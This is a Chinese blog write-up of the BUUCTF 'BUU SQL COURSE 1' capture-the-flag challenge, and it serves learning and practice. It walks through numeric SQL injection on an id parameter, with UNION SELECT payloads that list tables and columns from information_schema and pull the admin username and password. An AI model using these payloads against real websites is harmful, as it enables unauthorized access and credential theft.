首页 > 数据库 >BUUCTF_BUU SQL COURSE 1

BUUCTF_BUU SQL COURSE 1

时间:2024-10-26 10:58:41浏览次数:8  
标签:BUUCTF union sql COURSE --+ SQL id select 注入

BUUCTF_BUU SQL COURSE 1

打开实例

image-20241026103803888

发现“热点”及“登录”两个选项

根据题目提示,sql注入,尝试在登录界面寻找注入点,无果

接着进入热点界面,发现三篇新闻,依次点击发现url变化,burp抓包

image-20241026104053872

发现是通过对id值的控制访问不同界面,由此发现注入点

1.判断注入类型,输入1,2-1

?id=1    ?id=2-1

image-20241026104222613

image-20241026104242698

发现回显一样,判断为数字型

2.查找列数

?id=1+order+by+3--+
?id=1+order+by+2--+

得到列数为2,接着构造payload进行查询即可

3.查数据库

?id=0+union+select+1,database()

image-20241026104627938

4.查表

?id=0+union+select+1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))--+

image-20241026105250888

5.查列

?id=0+union+select+1,(select(group_concat(column_name))from(information_schema.columns)where(table_name='admin'))--+

6.查询username和password

?id=0+union+select+1,(select+username+from+admin)--+
?id=0+union+select+1,(select+password+from+admin)--+

image-20241026105742522

image-20241026105858716

最后登录拿到flag

image-20241026105936561

总结:

这是一道简单的数字型sql注入,关键在于找到注入点,还有对sql查询语句的掌握

写这篇博客也是为了给自己总结一下,刚接触sql注入

标签:BUUCTF,union,sql,COURSE,--+,SQL,id,select,注入
From: https://www.cnblogs.com/rain7/p/18503776

相关文章

  • mysql5.7主从搭建
    mysql下主从(主主)搭建首先要准备两台服务器,一台主服务器(Master),另一台从服务器(Slave),然后要保证Master与Slave的版本要相同且Master不能高于Slave的版本,一般稳健的做法都是使其版本相同,因为MySQL不同版本之间的binlog(二进制日志)格式可能会不一样,最后会导致同步出现异常。参考地......
  • Linux下搭建mysql5.7数据库
    Linux下搭建mysql数据库参考网址:https://www.cnblogs.com/dengshihuang/p/8029092.html系统约定系统版本:Centos7.3 Mysql版本:5.7安装文件下载目录:/data/softwareMysql安装目录:/opt/app/mysql数据库保存位置:/opt/app/mysql/data/mysql日志保存位置:/opt/app/mysql/data/mysql/log/my......
  • Mysql主主搭建
    Mysql主主搭建参考网址:https://www.jianshu.com/p/0fadd3c54875IP1:10.10.133.117(主)IP2:10.10.133.118(从主)环境:Centos7.3前提是两台机器都装好了mysql,要同步的数据库数据相同,mysql版本尽量相同Mysql复制原理master服务器将数据的改变都记录到二进制binlog日志中,只要master上......
  • sqlmap使用教程(包含POST型注入方式)
    前言:使用kali系统中自带的sqlmap,无需安装,非常方便,命令行输入sqlmap 可以查看sqlmap信息正文中会把所有常用的命令先列举出来,如果只是不熟悉命令格式的朋友可以节约时间只看前面的部分,也可以用目录跳转到对应的内容,如果想了解工具的使用效果后面会有注入过程的详......
  • Mysql 安装(yum)Linux
    yum安装mysql清理环境yumerasemariadbmariadb-servermariadb-libsmariadb-devel-y#移除mariadb的相关组件userdel-rmysql#删除mysql用户rm-rf/etc/my*#删除etc下的配置文件rm-rf/var/lib/mysql#删除var下的配置文件 下载yum源的rpm包(mysql5.7.41......
  • MYSQL-索引和事务
    存储过程中的循环结构whilewhile:先判断后循环.delimiter$$createprocedureproc01(inin_countint)begin declareiintdefault1;--定义循环初始化值 whilei<in_countdo--循环条件 selecti;--打印i的值(循环体语句) seti=i......
  • [java毕业设计]免费分享一套SpringBoot+Vue宠物商城网站系统【论文+源码+SQL脚本】,帅
    大家好,我是java1234_小锋老师,看到一个不错的SpringBoot++Vue宠物商城网站系统,分享下哈。项目视频演示【免费】SpringBoot+Vue宠物商城网站系统Java毕业设计_哔哩哔哩_bilibili项目介绍本论文旨在设计与实现一个基于SpringBoot和Vue.js的宠物商城网站系统。随着互联网技......
  • 基于SpringBoot + Vue + MySQL 实现平行志愿录取系统(数据库设计&毕业设计)
    一、需求分析        平行志愿录取系统是一种用于高等院校招生录取的志愿填报和录取方式,旨在提高录取的公平性和科学性,确保考生能够在选择志愿时有更大的灵活性和机会。下面详细分析平行志愿录取系统的定义、功能以及其优缺点。志愿录取系统功能:志愿填报:考生可以......
  • 深度解读:PostgreSQL执行计划的高效优化指南
    全文目录:开篇语前言:为何要解读PostgreSQL执行计划?......
  • 【MySQL】数据库事务管理
    W...Y的主页......